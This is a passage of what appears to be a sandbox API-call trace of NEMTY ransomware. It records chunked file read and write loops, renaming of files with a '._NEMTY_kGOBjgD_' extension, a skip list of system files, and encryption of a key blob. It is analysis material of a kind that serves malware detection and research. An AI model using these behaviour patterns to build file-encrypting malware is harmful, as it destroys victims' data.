lpOverlapped=0x0) returned 0 [0085.580] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.582] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0085.582] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.582] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0085.591] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.591] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0085.591] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.591] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0085.600] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.600] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0085.600] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.600] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0085.609] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.609] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0085.610] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.610] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0085.619] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.619] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0085.619] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.619] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0085.628] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.628] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0085.628] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.628] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0085.634] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.634] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0085.634] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.634] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0085.640] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.640] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0085.640] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.640] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340110, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0085.640] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0085.640] CloseHandle (hObject=0xffffffff) returned 0 [0085.640] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340280 [0085.640] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0085.640] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0085.640] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0085.640] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0085.640] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0085.640] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340348 [0085.640] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x6340410 [0085.641] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340348 | out: hHeap=0x4f90000) returned 1 [0085.641] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0085.641] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationleft_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationLeft_SelectionSubpicture.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationleft_selectionsubpicture.png._nemty_kgobjgd_")) returned 0 [0085.641] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340410 | out: hHeap=0x4f90000) returned 1 [0085.641] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340280 | out: hHeap=0x4f90000) returned 1 [0085.641] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94420 | out: hHeap=0x4f90000) returned 1 [0085.641] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340110 | out: hHeap=0x4f90000) returned 1 [0085.641] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0085.641] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0085.641] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0085.641] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94358 | out: hHeap=0x4f90000) returned 1 [0085.641] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0085.641] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0085.641] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70007aa2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70007aa2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fa59b8f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0085.641] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2=".") returned 1 [0085.641] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="..") returned 1 [0085.641] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="...") returned 1 [0085.641] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="windows") returned -1 [0085.641] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="$RECYCLE.BIN") returned 1 [0085.641] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="rsa") returned -1 [0085.641] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="NTDETECT.COM") returned -1 [0085.641] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="ntldr") returned -1 [0085.641] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="MSDOS.SYS") returned 1 [0085.641] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="IO.SYS") returned 1 [0085.641] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="boot.ini") returned 1 [0085.641] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="boot.ini") returned 1 [0085.641] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="AUTOEXEC.BAT") returned 1 [0085.641] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="ntuser.dat") returned -1 [0085.641] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="desktop.ini") returned 1 [0085.641] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="CONFIG.SYS") returned 1 [0085.642] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="RECYCLER") returned -1 [0085.642] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="BOOTSECT.BAK") returned 1 [0085.642] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="bootmgr") returned 1 [0085.642] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="programdata") returned -1 [0085.642] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="appdata") returned 1 [0085.642] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0085.642] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_ButtonGraphic.png", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0085.642] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0085.642] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_ButtonGraphic.png", cchWideChar=33, lpMultiByteStr=0x6345608, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationRight_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 33 [0085.642] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0085.642] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f94358 [0085.642] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_ButtonGraphic.png", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0085.642] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0085.642] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_ButtonGraphic.png", cchWideChar=33, lpMultiByteStr=0x6345608, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationRight_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 33 [0085.642] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0085.642] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94358 | out: hHeap=0x4f90000) returned 1 [0085.642] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0085.642] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0085.642] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_ButtonGraphic.png", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0085.642] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0085.642] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_ButtonGraphic.png", cchWideChar=33, lpMultiByteStr=0x6345608, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationRight_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 33 [0085.642] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0085.642] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0085.642] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_ButtonGraphic.png", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0085.642] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0085.642] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_ButtonGraphic.png", cchWideChar=33, lpMultiByteStr=0x6345640, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationRight_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 33 [0085.642] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0085.642] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94358 [0085.642] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0085.642] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0085.642] Sleep (dwMilliseconds=0x5) [0085.657] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe6b3e2d0, dwHighDateTime=0x1d561e7)) [0085.657] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe6b3e2d0, dwHighDateTime=0x1d561e7)) [0085.657] GetLastError () returned 0x5 [0085.657] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0085.657] GetLastError () returned 0x5 [0085.657] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0085.658] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0085.658] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0085.658] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0085.658] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0085.658] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0085.658] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340100 [0085.658] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340100, pcchString=0x653e91c | out: pszString="dJlbMRO007HMoPpwwaw7Yh0zvS0pVR/zJPCS1SJ8b14oXXUZtCs1cUQNB2yVIs0u\r\nhT5R+Oq5+I7K6f/fmozHICbT8P2rl+1s2En5F8qSrDmg4AHza16e5Z9mlw5jKFg2\r\navPW7qfwmtfForF9j8LF3opqzwtvy/sb/dXnNbiRK+R0AadocisacgDsTWS/FRcd\r\nMJbjrFWHqc8OnldFNPM/nHv+p1qEwpA287DPD4j9MhDGQnfCEW88WDwDlgXSLR1B\r\n0FmFBXM2+VaJoLYtFgcCMP1rhdiSeVs3Y3EOchaQMx6dwXV/zbeKkODfuODxtBdG\r\n8iLSOz3ElK2midxUO83vQg==\r\n", pcchString=0x653e91c) returned 1 [0085.658] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0085.658] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0085.658] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0085.658] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0085.658] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340100 [0085.658] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0085.658] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0085.658] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0085.658] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0085.658] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.658] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0085.667] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.667] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0085.668] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.668] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0085.677] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.677] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0085.677] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.677] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0085.686] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.686] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0085.686] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.686] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0085.696] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.696] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0085.696] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.696] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0085.705] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.705] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0085.705] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.705] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0085.714] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.714] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0085.714] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.714] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0085.724] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.724] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: 